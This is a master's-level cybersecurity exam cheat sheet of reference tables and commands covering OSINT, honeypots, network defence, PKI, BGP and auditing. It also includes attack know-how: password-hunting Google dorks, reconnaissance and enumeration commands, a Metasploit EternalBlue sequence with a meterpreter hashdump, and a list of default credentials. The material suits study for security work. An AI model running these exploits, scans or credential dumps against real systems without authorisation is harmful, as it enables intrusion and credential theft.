CYBERSECURITY EXAM CHEAT SHEET

Extended Edition - Master's Level

14. OSINT - OPEN SOURCE INTELLIGENCE

14.1 OSINT Methodology

OSINT follows a structured approach: Planning → Collection → Processing → Analysis → Dissemination

Passive vs Active OSINT

Type	Description	Detection Risk	Examples
Passive	No direct interaction with target	None	Google, Shodan, public records
Semi-Passive	Normal traffic that blends in	Very Low	Website visits, DNS lookups
Active	Direct interaction with target	High	Port scanning, vulnerability testing

14.2 OSINT Tools & Techniques

Search Engine Dorking

Operator	Purpose	Example
site:	Search within specific domain	site:target.com filetype:pdf
filetype:	Find specific file types	filetype:xls password
intitle:	Search page titles	intitle:"index of" passwords
inurl:	Search in URLs	inurl:admin login
cache:	View cached version	cache:target.com
"exact phrase"	Exact match search	"confidential" site:target.com
-keyword	Exclude results	admin -site:target.com
OR / |	Multiple terms	password OR passwd filetype:txt
intext:	Search page body	intext:"api key"
ext:	File extension (alt)	ext:sql intext:password

OSINT Tools

Tool	Purpose	Usage
theHarvester	Email, subdomain, IP harvesting	theHarvester -d domain.com -b google,linkedin
Maltego	Visual link analysis, entity mapping	GUI-based relationship mapping
Shodan	Internet-connected device search	shodan search 'apache city:"New York"'
Censys	Certificate & host intelligence	censys search 'services.http.response.html_title:admin'
Recon-ng	Web recon framework	recon-ng → marketplace install all
SpiderFoot	Automated OSINT collection	spiderfoot -s target.com -o html
FOCA	Metadata extraction from docs	Extract authors, software, paths from files
Metagoofil	Metadata extraction	metagoofil -d target.com -t pdf,doc -o output
Hunter.io	Email address finder	Find email patterns for organizations
Have I Been Pwned	Breach data lookup	Check if emails/domains in breaches
Wayback Machine	Historical website versions	web.archive.org/web/*/target.com
BuiltWith	Technology profiler	Identify CMS, frameworks, analytics
Wappalyzer	Web technology detector	Browser extension for tech stack
SecurityTrails	DNS/IP historical data	Track DNS changes over time
crt.sh	Certificate transparency logs	Find subdomains via SSL certs

Social Media OSINT

Platform	Tools/Techniques	Data Points
LinkedIn	LinkedIn Sales Navigator, PhantomBuster	Employees, tech stack, org structure
Twitter/X	TweetDeck, Twint, social-analyzer	Locations, connections, interests
Facebook	Graph Search, IntelTechniques tools	Friends, check-ins, life events
Instagram	Instaloader, Osintgram	Locations, connections, timing
GitHub	GitDorker, TruffleHog, Gitrob	Leaked secrets, code patterns, contributors

DNS & Domain Intelligence

```
# Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com
assetfinder --subs-only target.com

# DNS brute forcing
gobuster dns -d target.com -w wordlist.txt
dnsrecon -d target.com -t brt

# Zone transfer attempt
dig axfr @ns1.target.com target.com
host -t axfr target.com ns1.target.com
```

15. HONEYPOTS & DECEPTION TECHNOLOGY

15.1 Honeypot Types

Type	Interaction Level	Purpose	Examples
Low-Interaction	Emulates services, limited functionality	Detect automated attacks, worms	Honeyd, Dionaea, Cowrie
Medium-Interaction	Emulates vulnerabilities partially	Capture exploits, malware samples	Kippo, Glastopf
High-Interaction	Full OS/services, real vulnerabilities	Study advanced attackers, TTPs	Full VMs, HoneyNet
Pure Honeypot	Complete production-like system	Maximum intelligence gathering	Dedicated hardware/network
Research Honeypot	Academic/research focus	Study attack patterns, new threats	HoneyNet Project
Production Honeypot	Deployed in live networks	Early warning, attacker diversion	Internal decoys

15.2 Honeypot Technologies

Tool	Type	Emulates	Key Features
Cowrie	SSH/Telnet	Linux shell	Logs commands, downloads malware
Dionaea	Multi-protocol	SMB, HTTP, FTP, MSSQL	Captures malware, shellcode
Conpot	ICS/SCADA	Industrial control systems	Modbus, S7comm, IPMI
Honeyd	Network	Multiple OS/services	Virtual honeypot farm
Glastopf	Web	Vulnerable web apps	Captures web attacks, SQLi, LFI
T-Pot	Multi-honeypot	All-in-one platform	ELK stack, 20+ honeypots
OpenCanary	Multi-protocol	Various services	Alerting focused, lightweight
Artillery	Hybrid	Ports + monitoring	Active defense, threat intel
Thinkst Canary	Commercial	Various devices/services	Enterprise-grade, easy deploy
HoneyDB	Community	Aggregated honeypot data	Threat intelligence sharing

15.3 Honeypot Deployment

Placement Strategies

Location	Purpose	Risk Level
DMZ	Detect external reconnaissance	Low - isolated
Internal Network	Detect lateral movement	Medium - needs segmentation
Near High-Value Assets	Detect targeted attacks	High - careful isolation needed
Cloud/Internet-Facing	Threat intelligence gathering	Low - completely isolated
Endpoint (Canary Files)	Detect insider threats/ransomware	Very Low - passive

Honeytokens

Honeytokens are fake data/credentials designed to trigger alerts when accessed:

Token Type	Description	Detection Method
Canary Files	Fake docs with beacons (docx, pdf)	HTTP callback when opened
Fake Credentials	Planted in config files, code repos	Alert on authentication attempt
Database Records	Fake entries in production DBs	Query logging, access alerts
AWS Keys	Fake IAM credentials	CloudTrail alerts on use
API Keys	Non-functional keys in code	API gateway logging
DNS Canaries	Unique subdomains in docs	DNS query logging
Email Addresses	Unique emails in contact lists	Email receipt tracking

16. NETWORK SECURITY HARDWARE & ARCHITECTURE

16.1 Firewall Types

Type	OSI Layer	Filtering Method	Pros/Cons
Packet Filter	3-4	IP, port, protocol rules	Fast, simple / No state, app-blind
Stateful Inspection	3-4	Connection state tracking	Context-aware / Resource intensive
Application/Proxy	7	Deep packet inspection	Content-aware / Performance hit
Next-Gen (NGFW)	3-7	App ID, IPS, malware, SSL	Comprehensive / Complex, expensive
Web Application (WAF)	7	HTTP/S traffic only	SQLi/XSS protection / Web-only
Cloud/FWaaS	3-7	Cloud-delivered filtering	Scalable / Latency, dependency

Firewall Rule Best Practices

Principle	Description
Default Deny	Block all traffic, explicitly allow needed
Least Privilege	Minimum necessary access only
Rule Order	Most specific rules first, general last
Logging	Log denied traffic, critical allows
Regular Review	Audit rules quarterly, remove unused
Egress Filtering	Control outbound traffic, not just inbound
Documentation	Document purpose of each rule
Change Management	Formal process for rule changes

16.2 Network Security Devices

Device	Function	Placement	Key Features
IDS	Intrusion Detection (passive)	Network tap/span port	Alert only, no blocking
IPS	Intrusion Prevention (inline)	Inline, between segments	Blocks malicious traffic
NIDS/NIPS	Network-based detection	Network perimeter/segments	Signature & anomaly detection
HIDS/HIPS	Host-based detection	On endpoints	File integrity, process monitoring
Load Balancer	Traffic distribution	Front of server farm	L4/L7, health checks, SSL offload
Reverse Proxy	App gateway	DMZ	Caching, WAF, SSL termination
VPN Gateway	Encrypted tunnels	Network edge	Site-to-site, remote access
NAC	Network Access Control	Network edge	802.1X, posture assessment
SIEM	Security monitoring	Receives logs from all	Correlation, alerting, compliance
SOAR	Orchestration & response	Integrated with SIEM	Automated playbooks, case mgmt
NDR	Network Detection & Response	Network tap	ML-based threat detection
DLP	Data Loss Prevention	Network/endpoint	Content inspection, policy enforcement

16.3 Network Architectures

Network Segmentation

Concept	Description	Security Benefit
DMZ	Demilitarized zone for public services	Isolates public from internal
VLAN	Logical network segmentation	Limits broadcast domain, access control
Microsegmentation	Per-workload firewall policies	Zero trust, lateral movement prevention
Air Gap	Physical network isolation	Highest security for critical systems

Concept	Description	Security Benefit
Jump Box/Bastion	Hardened access point	Single controlled entry point
Screened Subnet	Dual firewall DMZ design	Defense in depth

Zero Trust Architecture

Principle	Implementation
Never Trust, Always Verify	Authenticate every access request regardless of location
Least Privilege Access	Grant minimum required permissions, time-limited
Assume Breach	Design as if attackers are already inside
Microsegmentation	Isolate workloads, enforce per-resource policies
Continuous Verification	Monitor behavior, re-authenticate on anomalies
Encrypt Everything	TLS everywhere, even internal traffic
Multi-Factor Authentication	Strong authentication for all access
Device Trust	Verify device health before access

17. CYBER WARFARE & CYBERCRIME

17.1 Definitions & Distinctions

Term	Definition	Actors	Motivation
Cybercrime	Criminal acts using computers/networks	Individuals, organized crime	Financial gain
Cyber Espionage	Stealing secrets via cyber means	Nation-states, competitors	Intelligence, competitive advantage
Cyber Terrorism	Cyber attacks to cause terror	Terrorist groups, extremists	Ideological, political
Cyber Warfare	State-sponsored cyber attacks	Nation-states, military	Strategic, political, military
Hacktivism	Hacking for political/social causes	Activist groups, individuals	Ideological, publicity

17.2 Cybercrime Categories

Category	Examples	Typical TTPs
Financial Crime	Banking trojans, BEC, card fraud	Phishing, credential theft, money mules
Ransomware	Data encryption for ransom	Phishing, RDP exploitation, double extortion
Data Theft	PII/IP theft for sale or use	SQLi, credential stuffing, insider threats
Cryptojacking	Unauthorized crypto mining	Malware, compromised websites, cloud abuse
Identity Theft	Stealing/using personal identities	Phishing, data breaches, social engineering
DDoS-for-Hire	Attack services (booters/stressers)	Botnets, amplification attacks
Dark Web Markets	Illegal goods/services trade	Tor, cryptocurrency, escrow systems

17.3 Cyber Warfare Operations

Operation Type	Description	Example
CNE	Computer Network Exploitation - espionage	SolarWinds (Russia), APT10 (China)
CNA	Computer Network Attack - disruption/destruction	Stuxnet (US/Israel), NotPetya (Russia)
CND	Computer Network Defense	National cyber defense centers
Information Ops	Propaganda, disinformation	Social media manipulation, fake news
SIGINT	Signals Intelligence collection	NSA operations, Five Eyes
Offensive Cyber	Military cyber operations	US Cyber Command operations

17.4 Hybrid Warfare

Hybrid warfare combines conventional military, irregular warfare, and cyber/information operations:

Component	Description	Cyber Role
Military	Conventional armed forces	C2 disruption, logistics targeting
Irregular	Guerrilla, proxy forces	Coordination, recruitment, funding
Political	Diplomatic pressure, coercion	Influence operations, leaks
Economic	Sanctions, trade manipulation	Financial system attacks, IP theft
Information	Propaganda, disinformation	Social media bots, fake news
Cyber	Network attacks, espionage	Infrastructure attacks, data theft
Legal (Lawfare)	Using laws as weapons	Data sovereignty, extradition

Notable Hybrid Warfare Examples

Conflict	Period	Cyber Elements
Russia-Georgia	2008	DDoS attacks coordinated with military invasion
Russia-Ukraine	2014-present	Power grid attacks, NotPetya, disinformation
Russia-Estonia	2007	Massive DDoS against government, banking
China-Taiwan	Ongoing	Espionage, influence ops, military pressure
Iran-US/Israel	Ongoing	Stuxnet, Shamoon, infrastructure threats

18. HTTP HEADER SCANNING WITH CURL & WGET

18.1 CURL for HTTP Analysis

Basic Header Retrieval

```
# Get headers only (HEAD request)
curl -I https://target.com
curl --head https://target.com

# Get headers with response body
curl -i https://target.com

# Verbose output (includes TLS handshake)
curl -v https://target.com

# Show request and response headers
curl -v -o /dev/null https://target.com 2>&1 | grep -E '^[<>]'
```

Security Header Analysis

```
# Check security headers
curl -sI https://target.com | grep -iE '^(strict|content-security|x-frame|x-content|x-xss|referrer)'

# Full security header audit
curl -sI https://target.com | grep -iE '^(strict-transport|content-security-policy|x-frame-options|
x-content-type|x-xss-protection|referrer-policy|permissions-policy|cross-origin)'
```

Advanced CURL Options

Option	Purpose	Example
-H	Send custom header	curl -H 'User-Agent: Mozilla/5.0' URL
-X	Specify HTTP method	curl -X POST URL
-d	Send POST data	curl -d 'user=admin&pass=test' URL
-b	Send cookies	curl -b 'session=abc123' URL
-c	Save cookies to file	curl -c cookies.txt URL
-L	Follow redirects	curl -L http://short.url/abc
-k	Ignore SSL errors	curl -k https://self-signed.local
-A	Set User-Agent	curl -A 'Googlebot/2.1' URL
-e	Set Referer	curl -e 'https://google.com' URL
--connect-timeout	Connection timeout	curl --connect-timeout 5 URL
-w	Custom output format	curl -w '%{http_code}' -o /dev/null URL
-x	Use proxy	curl -x http://proxy:8080 URL
--socks5	SOCKS5 proxy	curl --socks5 127.0.0.1:9050 URL
--cert	Client certificate	curl --cert client.pem URL
--resolve	Override DNS	curl --resolve host:443:1.2.3.4 https://host

18.2 WGET for HTTP Analysis

```
# Save headers to file
wget --save-headers -O output.html https://target.com

# Print server response headers
wget -S --spider https://target.com 2>&1 | grep -E '^  '

# Debug mode (verbose)
wget -d https://target.com 2>&1 | head -50
```

WGET Options

Option	Purpose	Example
-S	Print server response headers	wget -S URL
--spider	Don't download, just check	wget --spider URL
--header	Add custom header	wget --header='Cookie: x=y' URL
-U	Set User-Agent	wget -U 'Mozilla/5.0' URL
--no-check-certificate	Skip SSL verification	wget --no-check-certificate URL
-e use_proxy=yes	Use proxy	wget -e use_proxy=yes -e http_proxy=proxy:8080 URL
-r	Recursive download	wget -r -l 2 URL
--mirror	Mirror website	wget --mirror URL
-q	Quiet mode	wget -q -O - URL | grep pattern

18.3 Important HTTP Security Headers

Header	Purpose	Recommended Value
Strict-Transport-Security	Force HTTPS	max-age=31536000; includeSubDomains; preload
Content-Security-Policy	Prevent XSS, injection	default-src 'self'; script-src 'self'
X-Frame-Options	Prevent clickjacking	DENY or SAMEORIGIN
X-Content-Type-Options	Prevent MIME sniffing	nosniff
X-XSS-Protection	XSS filter (legacy)	1; mode=block
Referrer-Policy	Control referrer info	strict-origin-when-cross-origin
Permissions-Policy	Control browser features	geolocation=(), microphone=()
Cross-Origin-Opener-Policy	Process isolation	same-origin
Cross-Origin-Resource-Policy	Resource isolation	same-origin
Cross-Origin-Embedder-Policy	Embedding restrictions	require-corp
Cache-Control	Caching directives	no-store (for sensitive data)
Set-Cookie	Cookie attributes	Secure; HttpOnly; SameSite=Strict

19. SYSTEM AUDIT TOOLS & CONCEPTS

19.1 Linux Audit Framework

auditd - Linux Audit Daemon

```
# Check audit status
auditctl -s

# List current rules
auditctl -l

# Watch file for changes
auditctl -w /etc/passwd -p wa -k passwd_changes

# Watch directory
auditctl -w /etc/ssh/ -p wa -k ssh_config

# Monitor syscalls
auditctl -a always,exit -F arch=b64 -S execve -k command_execution

# Search audit logs
ausearch -k passwd_changes
ausearch -m USER_LOGIN -ts today

# Generate reports
aureport --auth
aureport --failed
```

Audit Rule Permissions

Permission	Meaning
r	Read access
w	Write access
x	Execute access
a	Attribute change (chmod, chown)

19.2 Security Audit Tools

Tool	Purpose	Usage
Lynis	Security auditing & hardening	lynis audit system
OpenSCAP	SCAP compliance scanning	oscap xccdf eval --profile stig-rhel7 sds.xml
Tiger	Unix security audit	tiger
Bastille	Security hardening	bastille -c
CIS-CAT	CIS benchmark assessment	Commercial, GUI/CLI
Nessus	Vulnerability scanning	Commercial, comprehensive
OpenVAS	Open-source vuln scanner	openvas-start
Qualys	Cloud-based scanning	Commercial, agent/agentless
chkrootkit	Rootkit detection	chkrootkit
rkhunter	Rootkit hunter	rkhunter --check
AIDE	File integrity checking	aide --check
Tripwire	File integrity monitoring	tripwire --check
OSSEC	Host-based IDS	Agent + server architecture
Wazuh	Security monitoring (OSSEC fork)	wazuh-agent + wazuh-manager

19.3 Windows Audit & Security

Windows Event Log Analysis

Event ID	Category	Description
4624	Logon	Successful account logon

Event ID	Category	Description
4625	Logon	Failed account logon
4648	Logon	Explicit credential logon (runas)
4672	Logon	Special privileges assigned (admin)
4688	Process	New process created
4689	Process	Process terminated
4698/4699	Task	Scheduled task created/deleted
4720	Account	User account created
4722/4725	Account	User enabled/disabled
4728/4732	Group	Member added to security group
4756	Group	Member added to universal group
5140	Share	Network share accessed
5156	Firewall	Windows Firewall connection allowed
7045	Service	New service installed
1102	Security	Audit log cleared

PowerShell Security Commands

```
# Get security events
Get-EventLog -LogName Security -Newest 100

# Failed logons
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625} -MaxEvents 50

# Process creation events
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688}

# Installed services
Get-WinEvent -FilterHashtable @{LogName='System';Id=7045}
```

19.4 Audit Concepts

Concept	Description
Separation of Duties	No single person controls entire process
Least Privilege	Minimum access required for job function
Need to Know	Access based on job requirements
Defense in Depth	Multiple layers of security controls
Non-Repudiation	Cannot deny performing an action (logging)
Chain of Custody	Documented handling of evidence
Baseline	Known good configuration state
Hardening	Reducing attack surface, secure config
Continuous Monitoring	Ongoing security assessment
Configuration Management	Tracking and controlling changes

20. AUTONOMOUS SYSTEMS & BGP

20.1 AS Fundamentals

Concept	Description
AS (Autonomous System)	Network under single administrative control
ASN (AS Number)	Unique identifier for AS (16-bit or 32-bit)
2-byte ASN	0-65535 (legacy, still common)
4-byte ASN	0-4294967295 (extended range)
Private ASN	64512-65534 (2-byte), 4200000000-4294967294 (4-byte)
BGP	Border Gateway Protocol - routes between ASes
IGP	Interior Gateway Protocol - routes within AS (OSPF, EIGRP)
Transit AS	Provides connectivity to other networks
Stub AS	Single connection, no transit
Multihomed AS	Multiple connections, may provide transit

20.2 AS Lookup Tools

Command Line

```
# WHOIS lookup for ASN
whois AS15169
whois -h whois.radb.net AS15169

# Find ASN for IP
whois -h whois.cymru.com " -v 8.8.8.8"

# BGP prefix lookup
whois -h whois.radb.net 8.8.8.0/24

# Dig for AS info
dig +short AS15169.asn.cymru.com TXT

# Team Cymru IP to ASN
dig +short 8.8.8.8.origin.asn.cymru.com TXT
```

Online Tools

Tool	URL	Purpose
BGP.HE.net	bgp.he.net	AS info, prefixes, peers, graphs
BGPView	bgpview.io	AS lookup, BGP data, IRR
RIPE Stat	stat.ripe.net	Comprehensive routing data
PeeringDB	peeringdb.com	Peering information, IXPs
Shodan	shodan.io	Search by ASN (asn:AS15169)
Censys	search.censys.io	Certificate/host search by ASN
Hurricane Electric	he.net/bgp	BGP toolkit, looking glass
CIDR Report	cidr-report.org	AS rankings, routing stats
RIPEstat	stat.ripe.net/widget	API for ASN data

20.3 BGP Security

Threat	Description	Mitigation
BGP Hijacking	Announcing someone else's prefixes	RPKI, route filtering, monitoring
Route Leak	Propagating routes improperly	BGP communities, path filtering
AS Path Manipulation	Inserting/removing ASes in path	BGPSEC (rarely deployed)
Prefix Deaggregation	Announcing more specific routes	Max-prefix limits, ROV
Session Hijacking	Taking over BGP session	MD5 auth, GTSM (TTL security)

RPKI (Resource Public Key Infrastructure)

Component	Description
ROA	Route Origin Authorization - cryptographic proof of origin AS
ROV	Route Origin Validation - checking routes against ROAs
Valid	Route matches ROA exactly

Component	Description
Invalid	Route conflicts with ROA
Not Found	No ROA exists for prefix

21. CERTIFICATE MANAGEMENT & PKI

21.1 PKI Concepts

Term	Description
PKI	Public Key Infrastructure - framework for managing certificates
CA	Certificate Authority - issues and signs certificates
RA	Registration Authority - verifies certificate requests
CRL	Certificate Revocation List - list of revoked certs
OCSP	Online Certificate Status Protocol - real-time revocation check
CSR	Certificate Signing Request - request for certificate
X.509	Standard format for public key certificates
Root CA	Top-level CA, self-signed, ultimate trust anchor
Intermediate CA	Subordinate CA, signs end-entity certs
End-Entity Cert	Leaf certificate for servers/users
Chain of Trust	Path from end-entity to trusted root
Certificate Pinning	Hardcode expected cert/key in application
CT (Certificate Transparency)	Public logs of issued certificates

21.2 OpenSSL Commands

Certificate Information

```
# View certificate details
openssl x509 -in cert.pem -text -noout

# View certificate from server
openssl s_client -connect host:443 </dev/null 2>/dev/null | openssl x509 -text -noout

# Check certificate dates
openssl x509 -in cert.pem -noout -dates

# View certificate chain from server
openssl s_client -showcerts -connect host:443 </dev/null

# Check certificate against CA
openssl verify -CAfile ca.pem cert.pem
```

Key Generation

```
# Generate RSA private key (4096-bit)
openssl genrsa -out private.key 4096

# Generate EC private key (P-256)
openssl ecparam -genkey -name prime256v1 -out private.key

# Generate Ed25519 key
openssl genpkey -algorithm Ed25519 -out private.key

# Extract public key from private
openssl rsa -in private.key -pubout -out public.key
```

CSR & Certificate Creation

```
# Generate CSR
openssl req -new -key private.key -out request.csr

# Generate self-signed certificate
openssl req -x509 -new -key private.key -days 365 -out cert.pem
```

```
# Sign CSR with CA
openssl x509 -req -in request.csr -CA ca.pem -CAkey ca.key -CAcreateserial -out cert.pem -days 365
```

21.3 Certificate Types

Type	Validation	Use Case	Trust Level
DV (Domain Validation)	Domain ownership only	Blogs, small sites	Low - just proves domain control
OV (Organization Validation)	Domain + org verification	Business sites	Medium - org identity verified
EV (Extended Validation)	Rigorous org verification	Banks, e-commerce	High - green bar (legacy)
Wildcard	*.domain.com	Multiple subdomains	Covers all subdomains
SAN/UCC	Multiple domains in one	Multiple domains	Subject Alternative Names
Code Signing	Software publisher identity	Software distribution	Proves software origin
Client/User	User/device identity	VPN, email signing	Authenticates users

21.4 Let's Encrypt / Certbot

```
# Install certbot
apt install certbot python3-certbot-nginx

# Obtain certificate (nginx)
certbot --nginx -d domain.com -d www.domain.com

# Obtain certificate (standalone)
certbot certonly --standalone -d domain.com

# Renew all certificates
certbot renew

# Test renewal (dry run)
certbot renew --dry-run

# List certificates
certbot certificates
```

21.5 Certificate Transparency

Tool/Resource	Purpose	URL
crt.sh	Certificate search	crt.sh
Censys	Cert search & analysis	search.censys.io
Google CT Logs	Official CT log viewer	transparencyreport.google.com
Facebook CT	CT monitoring	developers.facebook.com/tools/ct
certspotter	CLI CT monitoring	github.com/SSLMate/certspotter

22. INFORMATION SECURITY FUNDAMENTALS

22.1 CIA Triad + Extended Properties

Property	Definition	Threats	Controls
Confidentiality	Data accessible only to authorized	Disclosure, eavesdropping	Encryption, access control
Integrity	Data is accurate and unmodified	Modification, corruption	Hashing, digital signatures
Availability	Data accessible when needed	DoS, destruction	Redundancy, backups, DRP
Authenticity	Verified identity of source	Spoofing, impersonation	Authentication, digital signatures
Non-Repudiation	Cannot deny actions	Repudiation	Logging, digital signatures
Accountability	Actions traceable to individuals	Anonymity, shared accounts	Audit logs, unique IDs

22.2 Security Frameworks

Framework	Scope	Key Elements
NIST CSF	General cybersecurity	Identify, Protect, Detect, Respond, Recover
ISO 27001/27002	ISMS certification	Controls, risk assessment, documentation
CIS Controls	Priority security actions	18 critical controls, implementation groups
COBIT	IT governance	Governance & management objectives
PCI DSS	Payment card security	12 requirements for cardholder data
HIPAA	Healthcare data (US)	Privacy, security, breach notification
GDPR	EU data protection	Consent, data rights, breach notification
SOC 2	Service organization controls	Trust principles: security, availability, etc.
NIST 800-53	Federal security controls	Control families, baselines

22.3 Access Control Models

Model	Description	Use Case
DAC	Discretionary - owner decides access	File systems, user-controlled
MAC	Mandatory - labels/clearances	Military, classified data
RBAC	Role-Based - access by role	Enterprise, job functions
ABAC	Attribute-Based - policies on attributes	Dynamic, context-aware access
Rule-Based	Access based on rules	Firewalls, time-based access
Bell-LaPadula	No read up, no write down	Confidentiality (military)
Biba	No write up, no read down	Integrity
Clark-Wilson	Well-formed transactions	Commercial integrity

22.4 Security Operations

Concept	Description
SOC	Security Operations Center - centralized monitoring
SIEM	Security Information & Event Management
SOAR	Security Orchestration, Automation & Response
Threat Hunting	Proactive search for undetected threats
Incident Response	Detect, contain, eradicate, recover
Digital Forensics	Evidence collection and analysis
Vulnerability Management	Identify, assess, remediate vulnerabilities
Patch Management	Timely application of security updates
Change Management	Controlled process for changes
Business Continuity	Maintaining operations during disruption
Disaster Recovery	Restoring IT after major incident
Mean Time to Detect (MTTD)	Average time to identify threat
Mean Time to Respond (MTTR)	Average time to contain/remediate

22.5 Risk Management

Term	Definition
Risk	Probability of threat exploiting vulnerability causing harm
Threat	Potential cause of unwanted incident
Vulnerability	Weakness that can be exploited

Term	Definition
Impact	Consequences of successful attack
Likelihood	Probability of threat occurrence
Risk = Threat × Vulnerability × Impact	Common risk formula
Risk Acceptance	Accept the risk as-is
Risk Mitigation	Reduce likelihood or impact
Risk Transfer	Shift risk to third party (insurance)
Risk Avoidance	Eliminate the risk source
Residual Risk	Risk remaining after controls
Inherent Risk	Risk before any controls

23. RECONNAISSANCE - DETAILED TECHNIQUES

23.1 Reconnaissance Phases

Phase	Type	Activities	Tools
Footprinting	Passive	Define scope, gather public info	OSINT tools, search engines
Scanning	Active	Network/port discovery	Nmap, Masscan
Enumeration	Active	Extract usernames, shares, services	enum4linux, SNMPwalk
Vulnerability Analysis	Active	Identify weaknesses	Nessus, OpenVAS, Nikto

23.2 Network Reconnaissance

Passive Network Recon

```
# DNS reconnaissance
dig +short domain.com ANY
dig +short -x IP  # Reverse lookup
fierce --domain domain.com

# BGP/ASN lookup
whois -h whois.cymru.com " -v IPADDRESS"

# Passive DNS
# SecurityTrails, PassiveTotal, VirusTotal
```

Active Network Recon

```
# Host discovery
nmap -sn 192.168.1.0/24
masscan -p1-65535 192.168.1.0/24 --rate=1000

# Port scanning
nmap -sS -sV -O -p- target
nmap -sU --top-ports 100 target

# Service enumeration
nmap -sV --version-intensity 5 target
nmap -sC target  # Default scripts
```

23.3 Web Application Reconnaissance

```
# Technology fingerprinting
whatweb target.com
wappalyzer (browser extension)

# Directory brute forcing
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u http://target -w wordlist.txt
dirsearch -u http://target

# Web vulnerability scanning
nikto -h http://target
nuclei -u http://target

# CMS scanning
```

```
wpscan --url http://target  # WordPress
droopescan scan drupal -u http://target  # Drupal
joomscan -u http://target  # Joomla
```

23.4 Windows/AD Reconnaissance

```
# SMB enumeration
enum4linux -a target
smbclient -L //target -N
crackmapexec smb target --shares

# LDAP enumeration
ldapsearch -x -H ldap://target -b "dc=domain,dc=com"

# RPC enumeration
rpcclient -U '' target

# Kerberos enumeration
kerbrute userenum -d domain.com users.txt --dc dc.domain.com
```

23.5 Service-Specific Enumeration

Service	Port	Enumeration Command
SMTP	25	smtp-user-enum -M VRFY -U users.txt -t target
SNMP	161	snmpwalk -v2c -c public target
NFS	2049	showmount -e target
MySQL	3306	nmap --script mysql-enum target
MSSQL	1433	nmap --script ms-sql-info target
RDP	3389	nmap --script rdp-enum-encryption target
Oracle	1521	odat all -s target
VNC	5900	nmap --script vnc-info target
Redis	6379	redis-cli -h target INFO

24. ADDITIONAL QUICK REFERENCE

24.1 Common Wordlists

Wordlist	Location	Use
rockyou.txt	/usr/share/wordlists/rockyou.txt	Password cracking
directory-list-2.3-medium	/usr/share/wordlists/dirbuster/	Directory brute forcing
common.txt	/usr/share/wordlists/dirb/common.txt	Basic directory scan
SecLists	/usr/share/seclists/	Comprehensive collection
subdomains-top1million	SecLists/Discovery/DNS/	Subdomain enumeration

24.2 Hash Identification

Hash Type	Length	Example Pattern
MD5	32 chars	5f4dcc3b5aa765d61d8327deb882cf99
SHA1	40 chars	5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
SHA256	64 chars	5e884898da28047d9...
SHA512	128 chars	b109f3bbbc244eb8...
NTLM	32 chars	A4F49C406510BDCAB...
bcrypt	60 chars	$2a$10$N9qo8uLO...
Linux shadow (SHA512)	Variable	6rounds=5000$salt$hash

24.3 Encoding & Decoding

```
# Base64
echo 'text' | base64           # Encode
echo 'dGV4dAo=' | base64 -d    # Decode

# URL encoding
python3 -c "import urllib.parse; print(urllib.parse.quote('string'))"

# Hex
echo 'text' | xxd -p           # To hex
echo '74657874' | xxd -r -p    # From hex

# ROT13
echo 'text' | tr 'A-Za-z' 'N-ZA-Mn-za-m'
```

24.4 Metasploit Quick Reference

```
# Start Metasploit
msfconsole

# Search for exploits
search type:exploit platform:windows smb

# Use module
use exploit/windows/smb/ms17_010_eternalblue

# Show options
show options
set RHOSTS target
set LHOST attacker

# Run exploit
exploit
```

```
# Meterpreter basics
sysinfo, getuid, getsystem, hashdump, shell
```

24.5 Common Default Credentials

Device/Service	Username	Password
Cisco IOS	admin / cisco	admin / cisco
Tomcat	tomcat / admin	tomcat / admin
MySQL	root	(empty) / root
PostgreSQL	postgres	postgres
phpMyAdmin	root	(empty)
Jenkins	admin	admin
Elasticsearch	elastic	changeme
MongoDB	admin	(no auth by default)
Redis	(no auth)	(no auth by default)
Grafana	admin	admin

24.6 Incident Response Checklist

Phase	Actions
1. Preparation	IR plan, team, tools, training
2. Identification	Detect, confirm, scope the incident
3. Containment	Short-term: isolate. Long-term: patch
4. Eradication	Remove malware, close vectors
5. Recovery	Restore systems, monitor closely
6. Lessons Learned	Document, update procedures, train

— End of Extended Cheat Sheet —